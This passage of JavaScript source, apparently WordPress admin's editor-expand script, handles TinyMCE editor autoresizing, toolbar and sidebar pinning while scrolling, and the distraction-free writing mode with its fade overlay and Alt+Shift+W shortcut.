fixedTop = false, fixedBottom = false, fixedSideTop = false, fixedSideBottom = false, scrollTimer, lastScrollPosition = 0, pageYOffsetAtTop = 130, pinnedToolsTop = 56, sidebarBottom = 20, autoresizeMinHeight = 300, initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html', advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ), // These are corrected when adjust() runs, except on scrolling if already set. heights = { windowHeight: 0, windowWidth: 0, adminBarHeight: 0, toolsHeight: 0, menuBarHeight: 0, visualTopHeight: 0, textTopHeight: 0, bottomHeight: 0, statusBarHeight: 0, sideSortablesHeight: 0 }; /** * Resizes textarea based on scroll height and width. * * Doesn't shrink the editor size below the 300px auto resize minimum height. * * @since 4.6.1 * * @return {void} */ var shrinkTextarea = window._.throttle( function() { var x = window.scrollX || document.documentElement.scrollLeft; var y = window.scrollY || document.documentElement.scrollTop; var height = parseInt( textEditor.style.height, 10 ); textEditor.style.height = autoresizeMinHeight + 'px'; if ( textEditor.scrollHeight > autoresizeMinHeight ) { textEditor.style.height = textEditor.scrollHeight + 'px'; } if ( typeof x !== 'undefined' ) { window.scrollTo( x, y ); } if ( textEditor.scrollHeight < height ) { adjust(); } }, 300 ); /** * Resizes the text editor depending on the old text length. * * If there is an mceEditor and it is hidden, it resizes the editor depending * on the old text length. If the current length of the text is smaller than * the old text length, it shrinks the text area. Otherwise it resizes the editor to * the scroll height. * * @since 4.6.1 * * @return {void} */ function textEditorResize() { var length = textEditor.value.length; if ( mceEditor && ! mceEditor.isHidden() ) { return; } if ( ! mceEditor && initialMode === 'tinymce' ) { return; } if ( length < oldTextLength ) { shrinkTextarea(); } else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) { textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px'; adjust(); } oldTextLength = length; } /** * Gets the height and widths of elements. * * Gets the heights of the window, the adminbar, the tools, the menu, * the visualTop, the textTop, the bottom, the statusbar and sideSortables * and stores these in the heights object. Defaults to 0. * Gets the width of the window and stores this in the heights object. * * @since 4.0.0 * * @return {void} */ function getHeights() { var windowWidth = $window.width(); heights = { windowHeight: $window.height(), windowWidth: windowWidth, adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ), toolsHeight: $tools.outerHeight() || 0, menuBarHeight: $menuBar.outerHeight() || 0, visualTopHeight: $visualTop.outerHeight() || 0, textTopHeight: $textTop.outerHeight() || 0, bottomHeight: $bottom.outerHeight() || 0, statusBarHeight: $statusBar.outerHeight() || 0, sideSortablesHeight: $sideSortables.height() || 0 }; // Adjust for hidden menubar. if ( heights.menuBarHeight < 3 ) { heights.menuBarHeight = 0; } } // We need to wait for TinyMCE to initialize. /** * Binds all necessary functions for editor expand to the editor when the editor * is initialized. * * @since 4.0.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind the vents on. * * @return {void} */ $document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) { // VK contains the type of key pressed. VK = virtual keyboard. var VK = window.tinymce.util.VK, /** * Hides any float panel with a hover state. Additionally hides tooltips. * * @return {void} */ hideFloatPanels = _.debounce( function() { ! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll(); $( '.mce-tooltip' ).hide(); }, 1000, true ); // Make sure it's the main editor. if ( editor.id !== 'content' ) { return; } // Copy the editor instance. mceEditor = editor; // Set the minimum height to the initial viewport height. editor.settings.autoresize_min_height = autoresizeMinHeight; // Get the necessary UI elements. $visualTop = $contentWrap.find( '.mce-toolbar-grp' ); $visualEditor = $contentWrap.find( '.mce-edit-area' ); $statusBar = $contentWrap.find( '.mce-statusbar' ); $menuBar = $contentWrap.find( '.mce-menubar' ); /** * Gets the offset of the editor. * * @return {number|boolean} Returns the offset of the editor * or false if there is no offset height. */ function mceGetCursorOffset() { var node = editor.selection.getNode(), range, view, offset; /* * If editor.wp.getView and the selection node from the editor selection * are defined, use this as a view for the offset. */ if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) { offset = view.getBoundingClientRect(); } else { range = editor.selection.getRng(); // Try to get the offset from a range. try { offset = range.getClientRects()[0]; } catch( er ) {} // Get the offset from the bounding client rectangle of the node. if ( ! offset ) { offset = node.getBoundingClientRect(); } } return offset.height ? offset : false; } /** * Filters the special keys that should not be used for scrolling. * * @since 4.0.0 * * @param {event} event The event to get the key code from. * * @return {void} */ function mceKeyup( event ) { var key = event.keyCode; // Bail on special keys. Key code 47 is a '/'. if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) { return; // OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys. // Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock. } else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) { return; } mceScroll( key ); } /** * Makes sure the cursor is always visible in the editor. * * Makes sure the cursor is kept between the toolbars of the editor and scrolls * the window when the cursor moves out of the viewport to a wpview. * Setting a buffer > 0 will prevent the browser default. * Some browsers will scroll to the middle, * others to the top/bottom of the *window* when moving the cursor out of the viewport. * * @since 4.1.0 * * @param {string} key The key code of the pressed key. * * @return {void} */ function mceScroll( key ) { var offset = mceGetCursorOffset(), buffer = 50, cursorTop, cursorBottom, editorTop, editorBottom; // Don't scroll if there is no offset. if ( ! offset ) { return; } // Determine the cursorTop based on the offset and the top of the editor iframe. cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top; // Determine the cursorBottom based on the cursorTop and offset height. cursorBottom = cursorTop + offset.height; // Subtract the buffer from the cursorTop. cursorTop = cursorTop - buffer; // Add the buffer to the cursorBottom. cursorBottom = cursorBottom + buffer; editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight; /* * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the * advanced editor is enabled. */ editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 ); // Don't scroll if the node is taller than the visible part of the editor. if ( editorBottom - editorTop < offset.height ) { return; } /* * If the cursorTop is smaller than the editorTop and the up, left * or backspace key is pressed, scroll the editor to the position defined * by the cursorTop, pageYOffset and editorTop. */ if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) { window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop ); /* * If any other key is pressed or the cursorTop is bigger than the editorTop, * scroll the editor to the position defined by the cursorBottom, * pageYOffset and editorBottom. */ } else if ( cursorBottom > editorBottom ) { window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom ); } } /** * If the editor is fullscreen, calls adjust. * * @since 4.1.0 * * @param {event} event The FullscreenStateChanged event. * * @return {void} */ function mceFullscreenToggled( event ) { // event.state is true if the editor is fullscreen. if ( ! event.state ) { adjust(); } } /** * Shows the editor when scrolled. * * Binds the hideFloatPanels function on the window scroll.mce-float-panels event. * Executes the wpAutoResize on the active editor. * * @since 4.0.0 * * @return {void} */ function mceShow() { $window.on( 'scroll.mce-float-panels', hideFloatPanels ); setTimeout( function() { editor.execCommand( 'wpAutoResize' ); adjust(); }, 300 ); } /** * Resizes the editor. * * Removes all functions from the window scroll.mce-float-panels event. * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight. * * @since 4.0.0 * * @return {void} */ function mceHide() { $window.off( 'scroll.mce-float-panels' ); setTimeout( function() { var top = $contentWrap.offset().top; if ( window.pageYOffset > top ) { window.scrollTo( window.pageXOffset, top - heights.adminBarHeight ); } textEditorResize(); adjust(); }, 100 ); adjust(); } /** * Toggles advanced states. * * @since 4.1.0 * * @return {void} */ function toggleAdvanced() { advanced = ! advanced; } /** * Binds events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceBind = function() { editor.on( 'keyup', mceKeyup ); editor.on( 'show', mceShow ); editor.on( 'hide', mceHide ); editor.on( 'wp-toolbar-toggle', toggleAdvanced ); // Adjust when the editor resizes. editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); // Don't hide the caret after undo/redo. editor.on( 'undo redo', mceScroll ); // Adjust when exiting TinyMCE's fullscreen mode. editor.on( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels ); }; /** * Unbinds the events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceUnbind = function() { editor.off( 'keyup', mceKeyup ); editor.off( 'show', mceShow ); editor.off( 'hide', mceHide ); editor.off( 'wp-toolbar-toggle', toggleAdvanced ); editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); editor.off( 'undo redo', mceScroll ); editor.off( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ); }; if ( $wrap.hasClass( 'wp-editor-expand' ) ) { // Adjust "immediately". mceBind(); initialResize( adjust ); } } ); /** * Adjusts the toolbars heights and positions. * * Adjusts the toolbars heights and positions based on the scroll position on * the page, the active editor mode and the heights of the editor, admin bar and * side bar. * * @since 4.0.0 * * @param {event} event The event that calls this function. * * @return {void} */ function adjust( event ) { // Makes sure we're not in fullscreen mode. if ( fullscreen && fullscreen.settings.visible ) { return; } var windowPos = $window.scrollTop(), type = event && event.type, resize = type !== 'scroll', visual = mceEditor && ! mceEditor.isHidden(), buffer = autoresizeMinHeight, postBodyTop = $postBody.offset().top, borderWidth = 1, contentWrapWidth = $contentWrap.width(), $top, $editor, sidebarTop, footerTop, canPin, topPos, topHeight, editorPos, editorHeight; /* * Refresh the heights if type isn't 'scroll' * or heights.windowHeight isn't set. */ if ( resize || ! heights.windowHeight ) { getHeights(); } // Resize on resize event when the editor is in text mode. if ( ! visual && type === 'resize' ) { textEditorResize(); } if ( visual ) { $top = $visualTop; $editor = $visualEditor; topHeight = heights.visualTopHeight; } else { $top = $textTop; $editor = $textEditor; topHeight = heights.textTopHeight; } // Return if TinyMCE is still initializing. if ( ! visual && ! $top.length ) { return; } topPos = $top.parent().offset().top; editorPos = $editor.offset().top; editorHeight = $editor.outerHeight(); /* * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight. * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20. */ canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding. canPin = editorHeight > ( canPin + 5 ); if ( ! canPin ) { if ( resize ) { $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } else { // Check if the top is not already in a fixed position. if ( ( ! fixedTop || resize ) && ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) && windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) { fixedTop = true; $tools.css( { position: 'fixed', top: heights.adminBarHeight, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } $top.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); // Check if the top is already in a fixed position. } else if ( fixedTop || resize ) { if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: editorHeight - buffer + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } } // Check if the bottom is not already in a fixed position. if ( ( ! fixedBottom || ( resize && advanced ) ) && // Add borderWidth for the border around the .wp-editor-container. ( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) { if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) { window.scrollBy( 0, event.deltaHeight ); } else if ( visual && advanced ) { fixedBottom = true; $statusBar.css( { position: 'fixed', bottom: heights.bottomHeight, visibility: '', width: contentWrapWidth - ( borderWidth * 2 ) } ); $bottom.css( { position: 'fixed', bottom: 0, width: contentWrapWidth } ); } } else if ( ( ! advanced && fixedBottom ) || ( ( fixedBottom || resize ) && ( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) { fixedBottom = false; $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } // The postbox container is positioned with @media from CSS. Ensure it is pinned on the side. if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 && // Check if the sidebar is not taller than the document height. $document.height() > ( $sideSortables.height() + postBodyTop + 120 ) && // Check if the editor is taller than the viewport. heights.windowHeight < editorHeight ) { if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) { // Reset the sideSortables style when scrolling to the top. if ( windowPos + pinnedToolsTop <= postBodyTop ) { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } else { // When scrolling down. if ( windowPos > lastScrollPosition ) { if ( fixedSideTop ) { // Let it scroll. fixedSideTop = false; sidebarTop = $sideSortables.offset().top - heights.adminBarHeight; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) { // Pin the bottom. fixedSideBottom = true; $sideSortables.css({ position: 'fixed', top: 'auto', bottom: sidebarBottom }); } // When scrolling up. } else if ( windowPos < lastScrollPosition ) { if ( fixedSideBottom ) { // Let it scroll. fixedSideBottom = false; sidebarTop = $sideSortables.offset().top - sidebarBottom; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) { // Pin the top. fixedSideTop = true; $sideSortables.css({ position: 'fixed', top: pinnedToolsTop, bottom: '' }); } } } } else { // If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling. if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) { $sideSortables.css( { position: 'fixed', top: pinnedToolsTop } ); } else { $sideSortables.attr( 'style', '' ); } fixedSideTop = fixedSideBottom = false; } lastScrollPosition = windowPos; } else { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } if ( resize ) { $contentWrap.css( { paddingTop: heights.toolsHeight } ); if ( visual ) { $visualEditor.css( { paddingTop: heights.visualTopHeight + heights.menuBarHeight } ); } else { $textEditor.css( { marginTop: heights.textTopHeight } ); } } } /** * Resizes the editor and adjusts the toolbars. * * @since 4.0.0 * * @return {void} */ function fullscreenHide() { textEditorResize(); adjust(); } /** * Runs the passed function with 500ms intervals. * * @since 4.0.0 * * @param {function} callback The function to run in the timeout. * * @return {void} */ function initialResize( callback ) { for ( var i = 1; i < 6; i++ ) { setTimeout( callback, 500 * i ); } } /** * Runs adjust after 100ms. * * @since 4.0.0 * * @return {void} */ function afterScroll() { clearTimeout( scrollTimer ); scrollTimer = setTimeout( adjust, 100 ); } /** * Binds editor expand events on elements. * * @since 4.0.0 * * @return {void} */ function on() { /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are pinned properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.addClass( 'wp-editor-expand' ); // Adjust when the window is scrolled or resized. $window.on( 'scroll.editor-expand resize.editor-expand', function( event ) { adjust( event.type ); afterScroll(); } ); /* * Adjust when collapsing the menu, changing the columns * or changing the body class. */ $document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust ) .on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() { if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) { fixedSideBottom = true; window.scrollBy( 0, -1 ); adjust(); window.scrollBy( 0, 1 ); } adjust(); }).on( 'wp-window-resized.editor-expand', function() { if ( mceEditor && ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } else { textEditorResize(); } }); $textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize ); mceBind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide ); if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = true; mceEditor.execCommand( 'wpAutoResizeOn' ); if ( ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } } if ( ! mceEditor || mceEditor.isHidden() ) { textEditorResize(); } adjust(); $document.trigger( 'editor-expand-on' ); } /** * Unbinds editor expand events. * * @since 4.0.0 * * @return {void} */ function off() { var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 ); if ( height < 50 ) { height = 50; } else if ( height > 5000 ) { height = 5000; } /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are reset properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.removeClass( 'wp-editor-expand' ); $window.off( '.editor-expand' ); $document.off( '.editor-expand' ); $textEditor.off( '.editor-expand' ); mceUnbind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide ); // Reset all CSS. $.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) { element && element.attr( 'style', '' ); }); fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false; if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = false; mceEditor.execCommand( 'wpAutoResizeOff' ); if ( ! mceEditor.isHidden() ) { $textEditor.hide(); if ( height ) { mceEditor.theme.resizeTo( null, height ); } } } // If there is a height found in the user setting. if ( height ) { $textEditor.height( height ); } $document.trigger( 'editor-expand-off' ); } // Start on load. if ( $wrap.hasClass( 'wp-editor-expand' ) ) { on(); // Resize just after CSS has fully loaded and QuickTags is ready. if ( $contentWrap.hasClass( 'html-active' ) ) { initialResize( function() { adjust(); textEditorResize(); } ); } } // Show the on/off checkbox. $( '#adv-settings .editor-expand' ).show(); $( '#editor-expand-toggle' ).on( 'change.editor-expand', function() { if ( $(this).prop( 'checked' ) ) { on(); window.setUserSetting( 'editor_expand', 'on' ); } else { off(); window.setUserSetting( 'editor_expand', 'off' ); } }); // Expose on() and off(). window.editorExpand = { on: on, off: off }; } ); /** * Handles the distraction free writing of TinyMCE. * * @since 4.1.0 * * @return {void} */ $( function() { var $body = $( document.body ), $wrap = $( '#wpcontent' ), $editor = $( '#post-body-content' ), $title = $( '#title' ), $content = $( '#content' ), $overlay = $( document.createElement( 'DIV' ) ), $slug = $( '#edit-slug-box' ), $slugFocusEl = $slug.find( 'a' ) .add( $slug.find( 'button' ) ) .add( $slug.find( 'input' ) ), $menuWrap = $( '#adminmenuwrap' ), $editorWindow = $(), $editorIframe = $(), _isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on', _isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false, traveledX = 0, traveledY = 0, buffer = 20, faded, fadedAdminBar, fadedSlug, editorRect, x, y, mouseY, scrollY, focusLostTimer, overlayTimer, editorHasFocus; $body.append( $overlay ); $overlay.css( { display: 'none', position: 'fixed', top: $adminBar.height(), right: 0, bottom: 0, left: 0, 'z-index': 9997 } ); $editor.css( { position: 'relative' } ); $window.on( 'mousemove.focus', function( event ) { mouseY = event.pageY; } ); /** * Recalculates the bottom and right position of the editor in the DOM. * * @since 4.1.0 * * @return {void} */ function recalcEditorRect() { editorRect = $editor.offset(); editorRect.right = editorRect.left + $editor.outerWidth(); editorRect.bottom = editorRect.top + $editor.outerHeight(); } /** * Activates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function activate() { if ( ! _isActive ) { _isActive = true; $document.trigger( 'dfw-activate' ); $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } } /** * Deactivates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function deactivate() { if ( _isActive ) { off(); _isActive = false; $document.trigger( 'dfw-deactivate' ); $content.off( 'keydown.focus-shortcut' ); } } /** * Returns _isActive. * * @since 4.1.0 * * @return {boolean} Returns true is _isActive is true. */ function isActive() { return _isActive; } /** * Binds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function on() { if ( ! _isOn && _isActive ) { _isOn = true; $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); fadeOut(); window.setUserSetting( 'post_dfw', 'on' ); $document.trigger( 'dfw-on' ); } } /** * Unbinds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function off() { if ( _isOn ) { _isOn = false; $title.add( $content ).off( '.focus' ); fadeIn(); $editor.off( '.focus' ); window.setUserSetting( 'post_dfw', 'off' ); $document.trigger( 'dfw-off' ); } } /** * Binds or unbinds the editor expand events. * * @since 4.1.0 * * @return {void} */ function toggle() { if ( _isOn ) { off(); } else { on(); } } /** * Returns the value of _isOn. * * @since 4.1.0 * * @return {boolean} Returns true if _isOn is true. */ function isOn() { return _isOn; } /** * Fades out all elements except for the editor. * * The fading is done based on key presses and mouse movements. * Also calls the fadeIn on certain key presses * or if the mouse leaves the editor. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeOut( event ) { var isMac, key = event && event.keyCode; if ( window.navigator.platform ) { isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 ); } // Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W. if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) { fadeIn( event ); return; } // Return if any of the following keys or combinations of keys is pressed. if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && ( // Special keys ( tab, ctrl, alt, esc, arrow keys... ). ( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) || // Windows keys. ( key >= 91 && key <= 93 ) || // F keys. ( key >= 112 && key <= 135 ) || // Num Lock, Scroll Lock, OEM. ( key >= 144 && key <= 150 ) || // OEM or non-printable. key >= 224 ) ) ) ) { return; } if ( ! faded ) { faded = true; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.show(); }, 600 ); $editor.css( 'z-index', 9998 ); $overlay // Always recalculate the editor area when entering the overlay with the mouse. .on( 'mouseenter.focus', function() { recalcEditorRect(); $window.on( 'scroll.focus', function() { var nScrollY = window.pageYOffset; if ( ( scrollY && mouseY && scrollY !== nScrollY ) && ( mouseY < editorRect.top - buffer || mouseY > editorRect.bottom + buffer ) ) { fadeIn(); } scrollY = nScrollY; } ); } ) .on( 'mouseleave.focus', function() { x = y = null; traveledX = traveledY = 0; $window.off( 'scroll.focus' ); } ) // Fade in when the mouse moves away form the editor area. .on( 'mousemove.focus', function( event ) { var nx = event.clientX, ny = event.clientY, pageYOffset = window.pageYOffset, pageXOffset = window.pageXOffset; if ( x && y && ( nx !== x || ny !== y ) ) { if ( ( ny <= y && ny < editorRect.top - pageYOffset ) || ( ny >= y && ny > editorRect.bottom - pageYOffset ) || ( nx <= x && nx < editorRect.left - pageXOffset ) || ( nx >= x && nx > editorRect.right - pageXOffset ) ) { traveledX += Math.abs( x - nx ); traveledY += Math.abs( y - ny ); if ( ( ny <= editorRect.top - buffer - pageYOffset || ny >= editorRect.bottom + buffer - pageYOffset || nx <= editorRect.left - buffer - pageXOffset || nx >= editorRect.right + buffer - pageXOffset ) && ( traveledX > 10 || traveledY > 10 ) ) { fadeIn(); x = y = null; traveledX = traveledY = 0; return; } } else { traveledX = traveledY = 0; } } x = nx; y = ny; } ) // When the overlay is touched, fade in and cancel the event. .on( 'touchstart.focus', function( event ) { event.preventDefault(); fadeIn(); } ); $editor.off( 'mouseenter.focus' ); if ( focusLostTimer ) { clearTimeout( focusLostTimer ); focusLostTimer = null; } $body.addClass( 'focus-on' ).removeClass( 'focus-off' ); } fadeOutAdminBar(); fadeOutSlug(); } /** * Fades all elements back in. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeIn( event ) { if ( faded ) { faded = false; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.hide(); }, 200 ); $editor.css( 'z-index', '' ); $overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' ); /* * When fading in, temporarily watch for refocus and fade back out - helps * with 'accidental' editor exits with the mouse. When fading in and the event * is a key event (Escape or Alt+Shift+W) don't watch for refocus. */ if ( 'undefined' === typeof event ) { $editor.on( 'mouseenter.focus', function() { if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) { fadeOut(); } } ); } focusLostTimer = setTimeout( function() { focusLostTimer = null; $editor.off( 'mouseenter.focus' ); }, 1000 ); $body.addClass( 'focus-off' ).removeClass( 'focus-on' ); } fadeInAdminBar(); fadeInSlug(); } /** * Fades in if the focused element based on it position. * * @since 4.1.0 * * @return {void} */ function maybeFadeIn() { setTimeout( function() { var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) ); function hasFocus( $el ) { return $.contains( $el.get( 0 ), document.activeElement ); } // The focused node is before or behind the editor area, and not outside the wrap. if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) { fadeIn(); } }, 0 ); } /** * Fades out the admin bar based on focus on the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeOutAdminBar() { if ( ! fadedAdminBar && faded ) { fadedAdminBar = true; $adminBar .on( 'mouseenter.focus', function() { $adminBar.addClass( 'focus-off' ); } ) .on( 'mouseleave.focus', function() { $adminBar.removeClass( 'focus-off' ); } ); } } /** * Fades in the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeInAdminBar() { if ( fadedAdminBar ) { fadedAdminBar = false; $adminBar.off( '.focus' ); } } /** * Fades out the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeOutSlug() { if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) { fadedSlug = true; $slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' ); $slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' ); } } /** * Fades in the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeInSlug() { if ( fadedSlug ) { fadedSlug = false; $slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' ); $slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' ); } } /** * Triggers the toggle on Alt + Shift + W. * * Keycode 87 = w. * * @since 4.1.0 * * @param {event} event The event to trigger the toggle. * * @return {void} */ function toggleViaKeyboard( event ) { if ( event.altKey && event.shiftKey && 87 === event.keyCode ) { toggle(); } } if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) { $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } /** * Adds the distraction free writing button when setting up TinyMCE. * * @since 4.1.0 * * @param {event} event The TinyMCE editor setup event. * @param {object} editor The editor to add the button to. * * @return {void} */ $document.on( 'tinymce-editor-setup.focus', function( event, editor ) { editor.addButton( 'dfw', { active: _isOn, classes: 'wp-dfw btn widget', disabled: ! _isActive, onclick: toggle, onPostRender: function() { var button = this; editor.on( 'init', function() { if ( button.disabled() ) { button.hide(); } } ); $document .on( 'dfw-activate.focus', function() { button.disabled( false ); button.show(); } ) .on( 'dfw-deactivate.focus', function() { button.disabled( true ); button.hide(); } ) .on( 'dfw-on.focus', function() { button.active( true ); } ) .on( 'dfw-off.focus', function() { button.active( false ); } ); }, tooltip: 'Distraction-free writing mode', shortcut: 'Alt+Shift+W' } ); editor.addCommand( 'wpToggleDFW', toggle ); editor.addShortcut( 'access+w', '', 